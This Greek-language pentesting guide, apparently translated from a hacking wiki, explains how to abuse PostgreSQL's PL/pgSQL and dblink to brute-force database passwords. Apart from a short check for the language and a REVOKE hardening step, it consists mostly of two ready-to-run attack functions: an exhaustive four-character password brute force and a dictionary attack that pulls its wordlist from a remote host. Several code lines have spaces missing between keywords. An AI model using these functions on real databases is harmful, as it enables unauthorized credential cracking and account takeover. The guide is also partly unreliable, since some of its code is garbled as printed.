PL/pgSQL είναι μια πλήρως χαρακτηριστική γλώσσα προγραμματισμού που επεκτείνει τις δυνατότητες του SQL προσφέροντας βελτιωμένο διαδικαστικό έλεγχο. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που έχουν δημιουργηθεί στη γλώσσα PL/pgSQL μπορούν να κληθούν από δηλώσεις SQL και triggers, διευρύνοντας το πεδίο των λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.
Μπορείτε να καταχραστείτε αυτή τη γλώσσα προκειμένου να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επιβεβαιώσετε την ύπαρξή της χρησιμοποιώντας:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Κατά προεπιλογή, η δημιουργία συναρτήσεων είναι ένα προνόμιο που παραχωρείται στο PUBLIC, όπου το PUBLIC αναφέρεται σε κάθε χρήστη αυτού του συστήματος βάσης δεδομένων. Για να το αποτρέψει αυτό, ο διαχειριστής θα μπορούσε να είχε ανακαλέσει το προνόμιο USAGE από το δημόσιο τομέα:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
Σε αυτή την περίπτωση, το προηγούμενο ερώτημά μας θα έβγαζε διαφορετικά αποτελέσματα:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Σημειώστε ότι για να λειτουργήσει το παρακάτω σενάριο η συνάρτηση dblink πρέπει να υπάρχει. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να την δημιουργήσετε με
CREATE EXTENSION dblink;
Password Brute Force
Εδώ είναι πώς μπορείτε να εκτελέσετε μια επίθεση brute force σε κωδικό πρόσβασης 4 χαρακτήρων:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Σημειώστε ότι ακόμη και η βίαιη δοκιμή 4 χαρακτήρων μπορεί να διαρκέσει αρκετά λεπτά.
Μπορείτε επίσης να κατεβάσετε μια λίστα λέξεων και να δοκιμάσετε μόνο αυτούς τους κωδικούς πρόσβασης (επίθεση λεξικού):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');